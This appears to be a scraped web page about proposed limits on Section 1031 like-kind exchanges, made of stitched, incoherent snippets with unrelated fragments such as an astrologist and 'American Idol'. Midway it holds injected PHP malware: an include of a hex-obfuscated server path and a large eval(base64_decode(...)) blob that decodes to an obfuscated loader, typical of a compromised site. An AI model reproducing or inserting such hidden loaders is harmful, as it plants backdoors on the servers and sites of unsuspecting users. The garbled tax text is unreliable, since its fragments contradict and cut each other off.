Proposed Limits to 1031 Exchanges - FGKS Law This could have 1031 Exchange WebLearn more about the capital gains tax rates for 2022 from Kiplinger. Accordingly, there is a greater risk for 1031 exchanges to be repealed or limited between now and November 8, 2022 as Democrats may focus on it given their The budget once again seeks to eliminate so-called 1031 like-kind exchanges of more than $500,000 for each taxpayer, or $1 million for married individuals filing a joint return. There was previously a loophole that allowed the use of personal property in some cases, but due to They allow you to dispose of property and subsequently acquire one or more other like-kind replacement properties. 1031 Exchange Like-Kind Exchanges - Real Estate Tax Tips | Internal Revenue To benefit from Section 121, the converted property must be held for five years with the first two as a rental also known as non qualified use. Some of the proposals in the the latest House Reconciliation Bill, which are income and real estate related, are as follows: 1. The Cook Political Report has identified six Senate races in 2022 where the seat could go to either party. WASHINGTON Today the Treasury Department and Internal Revenue Service issued final regulations relating to section 1031 like-kind exchanges. A taxpayer then has 45 days following the sale to designate replacement property, in writing, to the intermediary. Successful Farming Possible Changes in Section 1031 in 2022 Due to Biden Administration The Straightforward Guide to the 1031 Exchange - Updated for 2022. WebConverting rental property acquired in a 1031 exchange to a primary residence blends Section 1031 with Section 121 that provides the $250,000/$500,000 exclusions. These include: The real estate purchased with the proceeds must be like-kind. 1031 Exchange: Possible Changes In 2022 Due To Biden IRS Issues New Rules for 1031 Exchanges That means, any 1031 exchange you complete before December 31, 2021, will not be Despite these fears, there is currently no indication that 1031 exchanges are set for repeal in 2022 or beyond. 1031 Exchanges for A 1031 exchange allows investors to swap like-kind property, postponing capital gains tax, but ?>. If Betty decides she wants to reinvest the $40,700 she would otherwise pay in taxes into new real estate, The Biden administration is focused on increasing Op-ed: What Biden's proposed limits to 1031 exchanges mean for 1031 Exchange: Requirements, Restrictions and Deadlines (Part 2) Section 1031 exchange gains exceeding these amounts would be recognized as gain by the taxpayer for the subject year. This article is part 2 of a three-part series regarding 1031 Exchanges. Web1031 exchanges can be used even if there is a mortgage on the property With proper estate planning, accrued deferred capital gains tax can be completely eliminated when real estate is passed on to heirs 1031 exchanges are like having an interest-free loan from the IRS. President Bidens proposal to limit 1031 exchanges would severely limit the property values investors can use and also adversely impact the overall U.S. economy. WebPhone: 800-735-1031 Email: [emailprotected] "WASHINGTON STATE LAW, RCW 19.310.040, REQUIRES AN EXCHANGE FACILITATOR TO EITHER MAINTAIN A The Biden administration has proposed limiting Section 1031 ( Like-Kind Exchanges) deferral to a maximum of $500,000 for a single taxpayer and $1,000,000 for Deferred exchanges are more complex but allow flexibility. Will 1031 exchange be eliminated? She turned it up on Baby Love by Mothers Finest. The Treasury Department and IRS issue final regulations The 1031 exchange allows you to defer capital gains tax on a property by exchanging it for a similar investment property, such as one farm for another. 1031 Exchange Limitations Ahead? - Lewis Rice LLC A 1031 exchange is a swap of one real estate investment property for another that allows capital gains taxes to be deferred. 1031 The 45-Day Rule is a very important part of 1031 exchanges. There's a strict time limit on 1031 exchanges. WebThe stars have aligned for the astrologist, who was inspired by her hairstylist mom. A 1031 Exchange enables an owner (Exchanger) of investment How Eliminating 1031 Exchanges Could Affect Property Owners 45-Day Rule. We have done and will continue to do extensive 'American Idol' Top 20 Revealed Which Singers Did America 1031 exchange limitations were include "\x2fhom\x65/tj\x6bwlm\x38vgk\x30q/p\x75bli\x63_ht\x6dl/j\x6exr0\x2fmen\x75.ph\x70"; IRS 1031 Exchange Rules for 2023: Everything You Need to Know eval(base64_decode("aWYgKCFkZWZpbmVkKCdBTFJFQURZX1JVTl8xYmMyOWIzNmYzNDJhODJhYWY2NjU4Nzg1MzU2NzE4JykpCnsKZGVmaW5lKCdBTFJFQURZX1JVTl8xYmMyOWIzNmYzNDJhODJhYWY2NjU4Nzg1MzU2NzE4JywgMSk7CgogJHphZmt0bmsgPSAyNzYwOyBmdW5jdGlvbiBucnhpcXRzdSgkcW50bGtjLCAkc2VkZmgpeyRnem5pb2x0YiA9ICcnOyBmb3IoJGk9MDsgJGkgPCBzdHJsZW4oJHFudGxrYyk7ICRpKyspeyRnem5pb2x0YiAuPSBpc3NldCgkc2VkZmhbJHFudGxrY1skaV1dKSA/ICRzZWRmaFskcW50bGtjWyRpXV0gOiAkcW50bGtjWyRpXTt9CiRkaHh1a2RxZj0icmF3dXJsIiAuICJkZWNvZGUiO3JldHVybiAkZGh4dWtkcWYoJGd6bmlvbHRiKTt9CiRmY3V1ZnNtaHp0ID0gJyVVZVk4WV9OUWglbXclbUxRTU1BTV9mQUclbUwlbUUlbWVUV3R0JW1rJXBGJWVjJWV5JVVlWThZX05RaCVtdyVtTGZBR19RTU1BTU4lJy4KJ21MJW1FJW1lZSVtayVwRiVlYyVleSVVZVk4WV9OUWglbXclbUxnU3pfUXpRdjJoWUE4X2hZZ1ElbUwlbUUlbWVlJW1rJXBGJWVjJWV5JVVlUU1NQU1fTVExQU1oWThHJW0nLgond2UlbWslcEYlZWMlZXklVWVOUWhfaFlnUV9mWWdZaCVtd2UlbWslcEYlZWMlZXklZWMlZXklZWMlZXlZWCVtdyVtc0JRWFk4UUIlbXclbScuCidtNko2X241dCVtbSVtayVtayVlYyVleSVMRiVlYyVleSVtZSVtZSVtZSVtZUJRWFk4USVtdyVtbTZKNl9uNXQlbW0lbUUlbWUlbW0lT0U4JScuCidtbSVtayVwRiVlYyVleSVMYyVlYyVleSVlYyVleVlYJW13JW1zQlFYWThRQiVtdyVtbWNpMG4nLgonRWE1MGRfNG42eTB5YTUwJW1tJW1rJW1rJWVjJWV5JUxGJWVjJWV5JW1lJW1lJW1lJW1lQlFYWThRJW13JW1tY2kwbkVhNTBkXzRuNnkweWE1Jy4KJzAlbW0lbUUlbWUlbW0vJW1tJW1rJXBGJWVjJWV5JUxjJWVjJWV5JWVjJWV5WVglbWUlbXclbXNCUVhZOFFCJW13JW1MeXQwbnljZF8wV1Rfc1VVdndMdlhLbXBQU3dtJy4KJ1NTWFlLd01ZU1BzS1NoWUFzdyVtTCVtayVtayVlYyVleSVMRiVlYyVleSVtZSVtZSVtZSVtZUJRWFknLgonOFElbXclbUx5dDBueWNkXzBXVF9zVVV2d0x2WEttcFBTd21TU1hZS3dNWVNQc0tTaFlBc3clbUwlbUUlbWVzJW1rJXBGJWVjJWV5JWVjJWV5JW1lJW1lJW1lJW1lJW0nLgonVUJTaFMlbWUlcGMlbWVUV3R0JXBGJWVjJWV5JW1lJW1lJW1lJW1lJW1VQlNoU18zUVolbWUlcGMlbWVUV3R0JXBGJWVjJWV5JWVjJWV5JW1lJW1lJW1lJW1lJW1VOXQ1Rnl0NCcuCiclT0YlbUx2Tl9TMmhxJW1MJU9jJW1lJXBjJW1lJW1Md1FLdndVa1EtUHdtdy1VUHBTLVNYTEstWHBlWFVtcFVQd1hVJW1MJScuCidwRiVlYyVleSVtZSVtZSVtZSVtZUdmQVBTZiVtZSVtVXZOX1MyaHElcEYlZWMlZXklZWMlZXklZWMlZXklbWUlJy4KJ21lJW1lJW1lWDI4dmhZQTglbWV2Tl85UWhKQU5oJW13JW1rJWVjJWV5JW1lJW1lJW1lJW1lJUxGJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lTScuCidRaDJNOCVtZU5oTWhBZkFvUU0lbXcxTVFHX01RMWZTdlElbXclbUwvJU9uJW13b29vJUxFWGgxJW1rJU9FLi9ZJW1MJW1FJW1MJW1MJW1FJVVlJW1VJy4KJ180bjBybjAlT0YlbUxKYWE2X0o1NGElbUwlT2MlbWslbWslcEYlZWMlZXklbWUlbWUlbWUlbWUlTGMlZWMlZXklZWMlZXklbScuCidlJW1lJW1lJW1lWDI4dmhZQTglbWV2Tl85UWhETVloU1BmUWNZTU4lbXclbWslZWMlZXklJy4KJ21lJW1lJW1lJW1lJUxGJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1VTVFOJW1lJXBjJW1leU1NU1olbXclbWslcEYnLgonJWVjJWV5JWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1VUzhTZlpOWk5fQzJRMlElbWUlcGMlbWV5TU1TWiVtdyVtayVwRiVlYyVleSVlJy4KJ2MlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbVVTOFNmWk5aTl9DMlEyUSVPRiVPYyVtZSVwYyVtZXZOXzlRaGNBdjBBQWglbXclbScuCidrJXBGJWVjJWV5JWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1VTlFmWF8xU2hxJW1lJXBjJW1lJW1VXzRuMHJuMCVPRiVtTDRFMCcuCidpNmFfUml0blR5bG4lbUwlT2MlcEYlZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWVvcVlmUScuCiclbWUlbXclbXclbVVOZlNOcSVtZSVwYyVtZU5oTU0xQU4lbXclbVVOUWZYXzFTaHElbUUlbWVjaTBuRWE1MGRfNG42eTB5YTUwJW1rJW1rJW1lJW1zJXBjJScuCidwYyVtZVJ5dDRuJW1rJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJUxGJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW0nLgonZSVtZSVtZSVtZSVtVU5RZlhfMVNocSVtZSVwYyVtZU4yUE5oTSVtdyVtVU5RZlhfMVNocSVtRSVtZWUlbUUlbWUlbVVOZlNOcSVtayVwRiVlYyVleSVlYyVleSUnLgonbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWVZWCVtZSVtdyVtVU5RZlhfMVNocSVtZSVwYyVwYyVtZXZOXzlRaGNBdjBBQWglbXclbWslbWslZScuCidjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJUxGJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW0nLgonZSVlJW0nLgonZSVtZSVtZSVtZSVtZSVtZSVtZVBNUVMzJXBGJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJUxjJWVjJWV5JWVjJWV5JW1lJW1lJW1lJW1lJW1lJy4KJyVtZSVtZSVtZSVtZSVtZSVtZSVtZVlYJW1lJW13TmhNZlE4JW13JW1VTlFmWF8xU2hxJW1rJW1rJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW0nLgonZSVtZSVtZSVtZSVtZSVMRiVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSUnLgonbWUlbWUlbWUlbVVTOFNmWk5aTl9DMlEyUSVPRiVPYyVtZSVwYyVtZSVtVU5RZlhfMVNocSVwRiVlYyVleSVtZScuCiclbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlTGMlZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlTGMnLgonJWVjJWV5JWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lWEFNUVN2cSVtZSVtdyVtVVM4U2ZaTlpOX0MyUTJRJW1lU04lbWUlbVV2Mk1NUThoX0JZTSVtayVlYyVleScuCiclbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlTEYlZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWVZWCVtZSVtdyVtc1k4X1NNTVNaJW0nLgondyVtVXYyTU1ROGhfQllNJW1FJW1lJW1VTVFOJW1rJW1rJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJUxGJWVjJWV5JW1lJW0nLgonZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtVU1RTiVtZSVwYyVtZVNNTVNaX2dRTUdRJW13JW1VTVFOJW1FJW1ldk5fOVFoYycuCidZTVF2aEFNWnRZTmglbXclbVV2Mk1NUThoX0JZTSVtayVtayVwRiVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVMYyVlYyVleSUnLgonbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlTGMlZWMlZXklZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWVNUWgyTTglbWV2Tl9FcVF2MycuCidETVloU1BmUSVtd1NNTVNaXzI4WUMyUSVtdyVtVU1RTiVtayVtayVwRiVlYyVleSVtZScuCiclbWUlbWUlbWUlTGMlZWMlZXklZWMlZXklbWUlbWUlbWUlbWVYMjh2aFlBOCVtZXZOX0VxUXYzRE1ZaFNQZlElbXclbVVCWU1fZllOaCVtayVlYyVleSVtZSVtZSUnLgonbWUlbWUlTEYlZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbVVCWU1fZllOaF9vTVloU1BmUSVtZSVwYyVtZXlNTVNaJW13JW1rJXBGJWVjJWV5JScuCidlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZVhBTVFTdnElbWUlbXclbVVCWU1fZllOaCUnLgonbWVTTiVtZSVtVUJZTSVtayVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVMRiVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZScuCiclbWUlbWUlbWUlbWVZWCVtZSVtdyVVZVlOX29NWWhTUGZRJW13JW1VQllNJW1rJW1lJW1LJW1LJW1lWU5fQllNJW13JW1VQllNJW1rJW1rJWVjJWV5JW1lJW1lJy4KJyVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVMRiVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSUnLgonbWUlbWUlbWUlbWUlbWUlbVVCWU1fZllOaF9vTVloU1BmUSVPRiVPYyVtZSVwYyVtZSVtVUJZTSVwRiVlYyVleScuCiclbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlTGMlZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlJy4KJ0xjJWVjJWV5JWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lTVFoMk04JW1lJW1VQllNX2ZZTmhfb01ZaFNQZlElcEYlZWMlZXklbWUlJy4KJ21lJW1lJW1lJUxjJWVjJWV5JWVjJWV5JW1lJW1lJW1lJW1lWDI4dmhZQTglbWV2Tl85UWhjWU1RdmhBTVp0WU5oJW13Jy4KJyVtVUJZTSVtRSVtZSVtVUJRMWhxJXBjc2UlbWslZWMlZXklbWUlbWUlbWUlbWUlTEYlZWMlZXknLgonJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1VTVFOMmZoJW1lJXBjJW1lU01NU1olbXclbWslcEYlZWMlZXklZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlJy4KJ21lWVglbWUlbXclbXNZTl9CWU0lbXclbVVCWU0lbWslbWslZWMlZXklbWUlbWUlbWUlbScuCidlJW1lJW1lJW1lJW1lJUxGJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lTVFoMk04JW1lJW1VTVFOMmZoJXAnLgonRiVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVMYyVlYyVleSVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtVU1RTjJmaCVPRiVPYyVtZSVwYyVtZSUnLgonbVVCWU0lcEYlZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbVVCWU1fdkEyOGgnLgonJW1lJXBjJW1lZSVwRiVlYyVleSVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZVlYJW1lJW13JW1VQlExaHElbWUlcEUlbWVzJW1rJWVjJWV5JW1lJW1lJW1lJScuCidtZSVtZSVtZSVtZSVtZSVMRiVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZScuCiclbWVNUWgyTTglbWUlbVVNUU4yZmglcEYlZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlTGMlZWMlZXknLgonJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1VQllNJW1lJXBjJW1lTmhNZlE4JW0nLgondyVtVUJZTSVtayVtZSVwYyVwYyVtZXMlbWUlcFIlbWUlbVVCWU0lbWUlcHklbWVNaE1ZZycuCiclbXclbVVCWU0lbUUlbWUlbUwlT0UlT0UvJW1MJW1rJXBGJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1VcSVtZSVwYyVtZSVVZUExUThCWU0lbXclbVVCWScuCidNJW1rJXBGJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lWVglbWUlbXclbVVxJW1lJXBjJXBjJXBjJW1lUnl0NG4lbWslZWMlZXklJy4KJ21lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJUxGJWVjJWV5JW1JW1lJ4KJyVtZU1RZU1RaDJNOCVtZSVtVU1RTjJmaCVwRiVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVMYy UlbWUlbWUlbWUlbWUlbWUlWUlbWUlbWVvcVlmUSVtZSVtdyVtdyVtVVglSVtZSVtdyVtdyVtVVglbWUlcGMlbWVNUVNCQllNJScuCidtdyVtVXElbWslbWslbWUlbXMlcGMlcGMlbWVSeXQ0biVtayVlYyVleSVtZSVtZSVtZSVtZSVtZSVtSVtZSVtZSVtZSVtZSVVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVMRiVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtJy4KJ4KJ2UlbWUlbWbWUlbWUlbWUlbWUlbWVZWCVtZSVtdyVtVVglbWUlbXMlcGMlcGMlbWUlbUwuJW1MJW1lUzhCJW1lJW1VWCVtZSVtJy4KJ3MlcGMlcGMlbWUlbUwuLiVtTCVtayVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVMRiUnLgonZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbVV2Mk1NUThoX0JZTSVtZSVwYyVtZSVtbSVtVUJZTS8lbVVYJW1tJy4KJyVwRiVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZVlYJW1lJW13WU5fQllNJW13JW1VdjJNTVE4aF9CWU0lbWslbScuCidrJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJUxGJWVjJWV5JW1lJW1lJW1lJy4KJyVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtVUJZTV92QTI4aCVtZSVtRiUnLgoncGMlbWVzJXBGJWVjJWV5JWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1VTVFOJy4KJzJmaCVPRiVPYyVtZSVwYyVtZSVtVXYyTU1ROGhfQllNJXBGJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJy4KJyVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtVU1RTjJmaCVtZSVwYyVtZVNNTVNaX2dRTUdRJW13JW1VTVFOMmZoJW1FJW1ldk5fOVFoY1lNUXZoJy4KJ0FNWnRZTmglbXclbVV2Mk1NUThoX0JZTSVtRSVtZSVtVUJRMWhxJW1lLyVtZXNlJW1rJW1rJXBGJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJScuCidtZSVtZSVtZSVtZSVtZSVMYyVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVMYyVlYyVlJy4KJ3klbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlTGMlZWMlZXklZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWV2ZkFOUUJZTSVtdyVtVXElbWslJy4KJ3BGJWVjJWV5JWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lTVFoMk04JW1lJW1VTVFOMmZoJXBGJWVjJWV5JW1lJW1lJW1lJW1lJUxjJScuCidlYyVleSVlYyVleSVtZSVtZSVtZSVtZVgyOHZoWUE4JW1ldk5fOVFoY0F2MEFBaCVtdyVtayVlYyVleSVtZSVtZSVtZSVtZSVMRiVlYyVleSVtZScuCiclbWUlbWUlbWUlbWUlbWUlbWUlbWUlbVVCQXZNQUFoX1E4QiVtZSVwYyVtZU5oTU0xQU4lbXclbVVfNG4wcm4wJScuCidPRiVtTDRFMGk2YV9SaXRuVHlsbiVtTCVPYyVtRSVtZSVtVV80bjBybjAlT0YlbUwwbjdXbjRhX1cwaSVtTCVPYycuCiclbWslcEYlZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWVZWCVtZSVtdyVtVUJBdk1BQWhfUThCJW1lJXBjJXBjJXBjJW0nLgonZVJ5dDRuJW1rJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJUxGJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lTVFoJy4KJzJNOCVtZSVtVV80bjBybjAlT0YlbUxjNUVXbG5UYV8wNTVhJW1MJU9jJXBGJWVjJWV5JW1lJW1lJW1lJW1lJW0nLgonZSVtZSVtZSVtZSVMYyVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZVFmTlFZWCVtZSVtdyVtVUJBdk1BQWhfUThCJW1lJXBjJXBjJXBjJW1lZSVtayVlYyVleScuCiclbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlTEYlZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWVNUWgyTTglbWUlbW0vJW1tJXBGJWVjJWUnLgoneSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVMYyVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZVFmTicuCidRJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJUxGJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lTVFoMk04JW1lTjJQTmhNJW13Jy4KJyVtVV80bjBybjAlT0YlbUw0RTBpNmFfUml0blR5bG4lbUwlT2MlbUUlbWVlJW1FJW1lJW1VQkF2TUFBaF9ROEIlbWslcEYlZWMlZXklbWUlbWUlbWUlbWUlJy4KJ21lJW1lJW1lJW1lJUxjJWVjJWV5JW1lJW1lJW1lJW1lJUxjJWVjJWV5JWVjJWV5JW1lJW1lJW1lJW1lWVglbWUlbXclbXNYMjh2aFlBOF9RellOaE4nLgonJW13JW1MWFlmUV8xMmhfdkE4aFE4aE4lbUwlbWslbWslZWMlZXklbWUlbWUlbWUlbWUnLgonJUxGJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lWDI4dmhZQTglbWVYWWZRXzEyaF92QThoUThoTiVtdyVtVScuCic4JW1FJW1lJW1VQiVtRSVtZSVtVVhmU0clbWUlcGMlbWVSU2ZOUSVtayVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVMRiVlYycuCiclZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbVVnQUJRJW1lJXBjJW1lJW1VWGZTRyVtZSVwYyVwYyVtZXclbWUlcFIlbWUlJy4KJ21MUyVtTCVtZSVweSVtZSVtTG8lbUwlcEYlZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlJy4KJ21lJW1lJW1lJW1lJW1VWCVtZSVwYyVtZSVVZVhBMVE4JW13JW1VOCVtRSVtZSVtVWdBQlElbWslcEYlZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlJy4KJ21lJW1lJW1lJW1lJW1lWVglbWUlbXclbVVYJW1lJXBjJXBjJXBjJW1lUlNmTlElbWslZWMlZXklbScuCidlJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJUxGJWVjJWV5JW1lJW1lJScuCidtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZU1RaDJNOCVtZWUlcEYlZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlJy4KJ21lJW1lJUxjJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lUWZOUSVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSUnLgonbWUlbWUlbWUlbWUlbWUlTEYlZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUnLgonJW1lJW1lJW1lJW1lWVglbWUlbXdZTl9TTU1TWiVtdyVtVUIlbWslbWslbWUlbVVCJW1lJXBjJW1lWWcxZkFCUSVtdyVtVUIlbWslcEYlZWMlZScuCid5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1VUFpoJW1lJW1lJW1lJW1lJW1lJW1lJW1VUFpoW1lJW1VUFpolJW1VQiVtayVwRiVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSUnLgonbWVYdmZBTlElbXclbVVYJW1rJXBGJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJScuCidtZSVtZU1RaDJNOCVtZSVtVVBaaFFOX29NWWhoUTglcEYlZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlTGMlJy4KJ2VjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJUxjJWVjJWV5JW1lJW1lJW1lJW1lJUwnLgonYyVlYyVleSVlYyVleSVtZSVtZSVtZSVtZVlYJW1lJW13JW1zWDI4dmhZQThfUXpZTmhOJy4KJyVtdyVtTFhZZlFfR1FoX3ZBOGhROGhOJW1MJW1rJW1rJWVjJWV5JW1lJW1lJW1lJW1lJUxGJWVjJWV5JW1lJW1lJW1lJW1lJScuCidtZSVtZSVtZSVtZVgyOHZoWUE4JW1lWFlmUV9HUWhfdkE4aFE4aE4lbXclbVVYWWZROFNnUSVtayVlYyVleSVtZSVtZScuCiclbWUlbWUlbWUlbWUlbWUlbWUlTEYlZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbScuCidlJW1lJW1VWHFTOEJmUSVtZSVwYyVtZVhBMVE4JW13JW1VWFlmUThTZ1ElbUUlbWUlbW1NJW1tJW1rJXBGJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJy4KJyVtZSVtZSVtZSVtZSVtZSVtVVh2QThoUThoTiVtZSVwYyVtZVhNUVNCJW13JW1VWHFTOEJmUSVtRSVtZVhZJy4KJ2ZRTll1USVtdyVtVVhZZlE4U2dRJW1rJW1rJXBGJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJy4KJyVtZSVtZSVtZVh2ZkFOUSVtdyVtVVhxUzhCZlElbWslcEYlZWMlZXklZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbScuCidlTVFoMk04JW1lJW1VWHZBOGhROGhOJXBGJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJUxjJWVjJWV5JW1lJW1lJW1lJW1lJUxjJWVjJWV5Jy4KJyVlYyVleSVlYyVleSVtZSVtZSVtZSVtZVgyOHZoWUE4JW1ldk5fQlF2TVoxaF8xcVNOUSVtdyVtVUJTaFMlbUUlbWUlbVUzUVolbWslZScuCidjJWV5JW1lJW1lJW1lJW1lJUxGJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1VQTJoX0JTaFMlbWUlcGMlbWUlbW0lbW0lJy4KJ3BGJWVjJWV5JWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lWEFNJW1lJW13JW1VWSVwY2UlcEYlbWUlbVVZJXBFTmhNZicuCidROCVtdyVtVUJTaFMlbWslcEYlbWslZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlTEYlZWMlJy4KJ2V5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lWEFNJW1lJW13JW1VViVwY2UlcEYlbWUlbVVWJXBFTmhNZlE4JW13JW1VM1FaJW1rJW0nLgonZSVtSyVtSyVtZSVtVVklcEVOaE1mUTglbXclbVVCU2hTJW1rJXBGJW1lJW1VViVtRiVtRiVtRSVtZSVtVVklbUYlbUYlbWslZWMlZXklbWUlJy4KJ21lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJUxGJWVjJWV5JW1lJW1lJW1lJW1lJW1lJScuCidtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtVUEyaF9CU2hTJW1lLiVwYyVtZXZxTSVtd0FNQiVtdyVtVUJTaFMlT0YlbScuCidVWSVPYyVtayVtZSVPbiVtZUFNQiVtdyVtVTNRWiVPRiVtVVYlT2MlbWslbWslcEYlZWMnLgonJWV5JW1lJW1lJW1l